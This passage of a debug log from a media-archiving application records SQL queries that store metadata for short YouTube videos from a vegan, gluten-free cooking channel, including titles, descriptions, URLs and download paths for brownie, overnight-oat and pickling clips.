("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This girl loves brownies so much that I've been recipe testing for weeks to come up with the perfect protein packed, vegan and gluten free brownies that everyone with two thumbs will love. You're gonna love these more than Ashton Kutcher loves the brownies in this 'That 70s Show' clip.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more vegan and gluten free weekly recipes! Thanks for your support! Janelle", "Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts", "cbf6514d-c414-4767-a535-701a7051fb36", 1, [], 11, false, "mwVndeA5hjA", "https://www.youtube.com/shorts/mwVndeA5hjA", 334, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts/Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts [mwVndeA5hjA].NA", false, false, true, 4, ~U[2022-07-05 17:30:05Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This girl loves brownies so much that I've been recipe testing for weeks to come up with the perfect protein packed, vegan and gluten free brownies that everyone with two thumbs will love. You're gonna love these more than Ashton Kutcher loves the brownies in this 'That 70s Show' clip.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more vegan and gluten free weekly recipes! Thanks for your support! Janelle", "Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts", 1, 11, false, "mwVndeA5hjA", "https://www.youtube.com/shorts/mwVndeA5hjA", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts/Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts [mwVndeA5hjA].NA", true, ~U[2022-07-05 17:30:05Z]] 20:31:10.558 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.561 [debug] QUERY OK source="media_items" db=2.2ms idle=12.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 16:00:26Z], 1] 20:31:10.563 [debug] QUERY OK source="media_items" db=1.8ms idle=14.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These brownies are protein packed and great for most people who have food allergies. My not that kinda special brownies are gluten free, nut free and vegan and are always a huge hit.\n\nFull recipe video here: https://youtu.be/CaX3rd60OUk\n\nSubscribe to catch a few other 'That 70s Show' brownie clips later today and for weekly videos about my vegan and gluten free diet. Thanks for all your support! Janelle", "People love my (not that kinda) SPECIAL BROWNIES", "c1416398-1867-463c-80db-fe3c3a9cc6f5", 1, [], 15, false, "QRkS8Bi77FY", "https://www.youtube.com/shorts/QRkS8Bi77FY", 335, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 People love my (not that kinda) SPECIAL BROWNIES/People love my (not that kinda) SPECIAL BROWNIES [QRkS8Bi77FY].NA", false, false, true, 4, ~U[2022-07-05 16:00:26Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These brownies are protein packed and great for most people who have food allergies. My not that kinda special brownies are gluten free, nut free and vegan and are always a huge hit.\n\nFull recipe video here: https://youtu.be/CaX3rd60OUk\n\nSubscribe to catch a few other 'That 70s Show' brownie clips later today and for weekly videos about my vegan and gluten free diet. Thanks for all your support! Janelle", "People love my (not that kinda) SPECIAL BROWNIES", 1, 15, false, "QRkS8Bi77FY", "https://www.youtube.com/shorts/QRkS8Bi77FY", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 People love my (not that kinda) SPECIAL BROWNIES/People love my (not that kinda) SPECIAL BROWNIES [QRkS8Bi77FY].NA", true, ~U[2022-07-05 16:00:26Z]] 20:31:10.565 [debug] QUERY OK source="sources" db=1.0ms idle=15.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.568 [debug] QUERY OK source="media_items" db=3.2ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-04 22:30:07Z], 1] 20:31:10.570 [debug] QUERY OK source="media_items" db=1.4ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Can you actually turn yourself into a pickle? This week I find out on my channel the best foods to pickle. Subscribe and stay tuned for all of my quick-pickling content this week.", "How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts", "fbce196f-bb00-4968-aeca-1202e1e2b7ee", 1, [], 19, false, "oe1dq7y24Lw", "https://www.youtube.com/shorts/oe1dq7y24Lw", 336, "/downloads/downloads/alec/Steamy Vegan/2022-07-04 How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts/How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts [oe1dq7y24Lw].NA", false, false, true, 2, ~U[2022-07-04 22:30:07Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Can you actually turn yourself into a pickle? This week I find out on my channel the best foods to pickle. Subscribe and stay tuned for all of my quick-pickling content this week.", "How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts", 1, 19, false, "oe1dq7y24Lw", "https://www.youtube.com/shorts/oe1dq7y24Lw", "/downloads/downloads/alec/Steamy Vegan/2022-07-04 How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts/How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts [oe1dq7y24Lw].NA", true, ~U[2022-07-04 22:30:07Z]] 20:31:10.572 [debug] QUERY OK source="sources" db=0.5ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.574 [debug] QUERY OK source="media_items" db=1.9ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-04 15:29:30Z], 1] 20:31:10.575 [debug] QUERY OK source="media_items" db=0.8ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're interested in trying something vegan and gluten free then check out some of the recipes on my channel for some food inspiration. When I'm looking for something new to try I always find myself on YouTube checking out my favorite vegan and gluten free foodies.\n\nHope you enjoy my channel and if you like some of the recipes then please subscribe and help me continue to grow and make more weekly videos! Thanks for your support! Janelle", "I See You Looking At My Vegan Dinner #youtubeshorts #shorts", "6352783b-babb-4436-93e8-3235a9634c7c", 1, [], 12, false, "hhXX4wOXJp8", "https://www.youtube.com/shorts/hhXX4wOXJp8", 337, "/downloads/downloads/alec/Steamy Vegan/2022-07-04 I See You Looking At My Vegan Dinner #youtubeshorts #shorts/I See You Looking At My Vegan Dinner #youtubeshorts #shorts [hhXX4wOXJp8].NA", false, false, true, 2, ~U[2022-07-04 15:29:30Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "If you're interested in trying something vegan and gluten free then check out some of the recipes on my channel for some food inspiration. When I'm looking for something new to try I always find myself on YouTube checking out my favorite vegan and gluten free foodies.\n\nHope you enjoy my channel and if you like some of the recipes then please subscribe and help me continue to grow and make more weekly videos! Thanks for your support! Janelle", "I See You Looking At My Vegan Dinner #youtubeshorts #shorts", 1, 12, false, "hhXX4wOXJp8", "https://www.youtube.com/shorts/hhXX4wOXJp8", "/downloads/downloads/alec/Steamy Vegan/2022-07-04 I See You Looking At My Vegan Dinner #youtubeshorts #shorts/I See You Looking At My Vegan Dinner #youtubeshorts #shorts [hhXX4wOXJp8].NA", true, ~U[2022-07-04 15:29:30Z]] 20:31:10.576 [debug] QUERY OK source="sources" db=0.6ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.578 [debug] QUERY OK source="media_items" db=2.3ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-03 16:17:42Z], 1] 20:31:10.580 [debug] QUERY OK source="media_items" db=0.9ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These easy vegan and gluten-free STRAWBERRY RHUBARB OVERNIGHT OATS is such a classic summer flavour combo that I just love. This breakfast tastes like a dessert, yet it’s nutritious and will keep you full for hours!\n\nFULL RECIPE VIDEO! https://youtu.be/_O9zWNUd2iE\nFULL BLOG WITH INSTRUCTIONS/RECIPE: https://steamyvegankitchen.com/strawberry-rhubarb-overnight-oats/\n\nSubscribe to @steamyvegan for more easy vegan recipes!", "HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast", "d1b34e3a-bced-4da6-b839-22de59f1fbbb", 1, [], 53, false, "yZD3tM0kBpo", "https://www.youtube.com/shorts/yZD3tM0kBpo", 338, "/downloads/downloads/alec/Steamy Vegan/2022-07-03 HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast/HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast [yZD3tM0kBpo].NA", false, false, true, 1, ~U[2022-07-03 16:17:42Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These easy vegan and gluten-free STRAWBERRY RHUBARB OVERNIGHT OATS is such a classic summer flavour combo that I just love. This breakfast tastes like a dessert, yet it’s nutritious and will keep you full for hours!\n\nFULL RECIPE VIDEO! https://youtu.be/_O9zWNUd2iE\nFULL BLOG WITH INSTRUCTIONS/RECIPE: https://steamyvegankitchen.com/strawberry-rhubarb-overnight-oats/\n\nSubscribe to @steamyvegan for more easy vegan recipes!", "HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast", 1, 53, false, "yZD3tM0kBpo", "https://www.youtube.com/shorts/yZD3tM0kBpo", "/downloads/downloads/alec/Steamy Vegan/2022-07-03 HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast/HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast [yZD3tM0kBpo].NA", true, ~U[2022-07-03 16:17:42Z]] 20:31:10.581 [debug] QUERY OK source="sources" db=0.7ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.583 [debug] QUERY OK source="media_items" db=2.1ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-02 18:30:42Z], 1] 20:31:10.585 [debug] QUERY OK source="media_items" db=0.9ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These overnight oats are quick and easy to make and they're gluten free, vegan, soy free, and nut free. If you like the taste of pina coladas then you'll love this non-alcoholic overnight oats version of that flavor. And if you're in the mood you could always add some rum into these.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ\n\nSubscribe for more vegan and gluten free recipes posted every week. Thanks for your support! Janelle", "Do You Like Piña Coladas?", "5011f1d0-d06a-45d2-baaf-06c85b46d437", 1, [], 11, false, "p9_-sluu3Vo", "https://www.youtube.com/shorts/p9_-sluu3Vo", 339, "/downloads/downloads/alec/Steamy Vegan/2022-07-02 Do You Like Piña Coladas?/Do You Like Piña Coladas? [p9_-sluu3Vo].NA", false, false, true, 2, ~U[2022-07-02 18:30:42Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These overnight oats are quick and easy to make and they're gluten free, vegan, soy free, and nut free. If you like the taste of pina coladas then you'll love this non-alcoholic overnight oats version of that flavor. And if you're in the mood you could always add some rum into these.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ\n\nSubscribe for more vegan and gluten free recipes posted every week. Thanks for your support! Janelle", "Do You Like Piña Coladas?", 1, 11, false, "p9_-sluu3Vo", "https://www.youtube.com/shorts/p9_-sluu3Vo", "/downloads/downloads/alec/Steamy Vegan/2022-07-02 Do You Like Piña Coladas?/Do You Like Piña Coladas? [p9_-sluu3Vo].NA", true, ~U[2022-07-02 18:30:42Z]] 20:31:10.586 [debug] QUERY OK source="sources" db=0.6ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.588 [debug] QUERY OK source="media_items" db=1.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-01 15:45:27Z], 1] 20:31:10.590 [debug] QUERY OK source="media_items" db=0.9ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These Lemon Lavender Earl Grey Overnight Oats come together in just one bowl or jar, and couldn’t be simpler to whip up! \n\nThe combination of lemon and lavender has become pretty popular in food culture lately, and so has lavender and early grey… so why not mash all of these flavour combos together? Well that’s just what I did with these incredibly delicious Lemon Lavender Earl Grey Overnight Oats!\n\nAdd all the the ingredients into a bowl or mason jar, and stir very well until they’re throughly combined.\nTop with fresh or frozen berries and optionally, extra lemon zest and lavender, and cover with the lid.\nPlace in the fridge overnight (or for a minimum of 4 hours), wake up and enjoy your delicious breakfast!\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/lemon-lavender-earl-grey-overnight-oats/\nCHECK OUT ALL MY OVERNIGHT OATS! https://youtu.be/jEROCt5Y_pQ\n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋", "0886f0e9-7515-4753-adea-ef1b7feae617", 1, [], 60, false, "RPDrS0lpd2s", "https://www.youtube.com/shorts/RPDrS0lpd2s", 340, "/downloads/downloads/alec/Steamy Vegan/2022-07-01 Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋/Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋 [RPDrS0lpd2s].NA", false, false, true, 1, ~U[2022-07-01 15:45:27Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These Lemon Lavender Earl Grey Overnight Oats come together in just one bowl or jar, and couldn’t be simpler to whip up! \n\nThe combination of lemon and lavender has become pretty popular in food culture lately, and so has lavender and early grey… so why not mash all of these flavour combos together? Well that’s just what I did with these incredibly delicious Lemon Lavender Earl Grey Overnight Oats!\n\nAdd all the the ingredients into a bowl or mason jar, and stir very well until they’re throughly combined.\nTop with fresh or frozen berries and optionally, extra lemon zest and lavender, and cover with the lid.\nPlace in the fridge overnight (or for a minimum of 4 hours), wake up and enjoy your delicious breakfast!\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/lemon-lavender-earl-grey-overnight-oats/\nCHECK OUT ALL MY OVERNIGHT OATS! https://youtu.be/jEROCt5Y_pQ\n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋", 1, 60, false, "RPDrS0lpd2s", "https://www.youtube.com/shorts/RPDrS0lpd2s", "/downloads/downloads/alec/Steamy Vegan/2022-07-01 Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋/Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋 [RPDrS0lpd2s].NA", true, ~U[2022-07-01 15:45:27Z]] 20:31:10.591 [debug] QUERY OK source="sources" db=1.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.594 [debug] QUERY OK source="media_items" db=2.3ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 18:00:05Z], 1] 20:31:10.596 [debug] QUERY OK source="media_items" db=1.0ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I am absolutely addicted to these vegan, gluten free, and nut free strawberry rhubarb overnight oats. Full recipe video here: https://youtu.be/jEROCt5Y_pQ", "I’ve Been Making These Overnight Oats Almost Every Day This Week", "74f16c10-d779-41aa-a70a-6975bf30353d", 1, [], 16, false, "IxL1wll9J3A", "https://www.youtube.com/shorts/IxL1wll9J3A", 341, "/downloads/downloads/alec/Steamy Vegan/2022-06-30 I’ve Been Making These Overnight Oats Almost Every Day This Week/I’ve Been Making These Overnight Oats Almost Every Day This Week [IxL1wll9J3A].NA", false, false, true, 3, ~U[2022-06-30 18:00:05Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I am absolutely addicted to these vegan, gluten free, and nut free strawberry rhubarb overnight oats. Full recipe video here: https://youtu.be/jEROCt5Y_pQ", "I’ve Been Making These Overnight Oats Almost Every Day This Week", 1, 16, false, "IxL1wll9J3A", "https://www.youtube.com/shorts/IxL1wll9J3A", "/downloads/downloads/alec/Steamy Vegan/2022-06-30 I’ve Been Making These Overnight Oats Almost Every Day This Week/I’ve Been Making These Overnight Oats Almost Every Day This Week [IxL1wll9J3A].NA", true, ~U[2022-06-30 18:00:05Z]] 20:31:10.597 [debug] QUERY OK source="sources" db=0.7ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.599 [debug] QUERY OK source="media_items" db=2.0ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 14:00:17Z], 1] 20:31:10.600 [debug] QUERY OK source="media_items" db=0.7ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love cooking up a steamy bowl of veggie noodle soup or a hot plate of butternut squash risotto on a rainy day. These foods are so comforting and warm up your soul. \n\nSubscribe to my channel for plenty more vegan and gluten free recipes to warm your soul! Thanks for your support! Janelle", "Hot and Steamy Dishes on a Cool Day", "3cd14f34-2f7b-48da-b2c0-09fccb72c787", 1, [], 14, false, "XuYleQ_85xg", "https://www.youtube.com/shorts/XuYleQ_85xg", 342, "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Hot and Steamy Dishes on a Cool Day/Hot and Steamy Dishes on a Cool Day [XuYleQ_85xg].NA", false, false, true, 3, ~U[2022-06-30 14:00:17Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I love cooking up a steamy bowl of veggie noodle soup or a hot plate of butternut squash risotto on a rainy day. These foods are so comforting and warm up your soul. \n\nSubscribe to my channel for plenty more vegan and gluten free recipes to warm your soul! Thanks for your support! Janelle", "Hot and Steamy Dishes on a Cool Day", 1, 14, false, "XuYleQ_85xg", "https://www.youtube.com/shorts/XuYleQ_85xg", "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Hot and Steamy Dishes on a Cool Day/Hot and Steamy Dishes on a Cool Day [XuYleQ_85xg].NA", true, ~U[2022-06-30 14:00:17Z]] 20:31:10.601 [debug] QUERY OK source="sources" db=0.6ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.603 [debug] QUERY OK source="media_items" db=1.7ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 00:00:00Z], 1] 20:31:10.604 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, 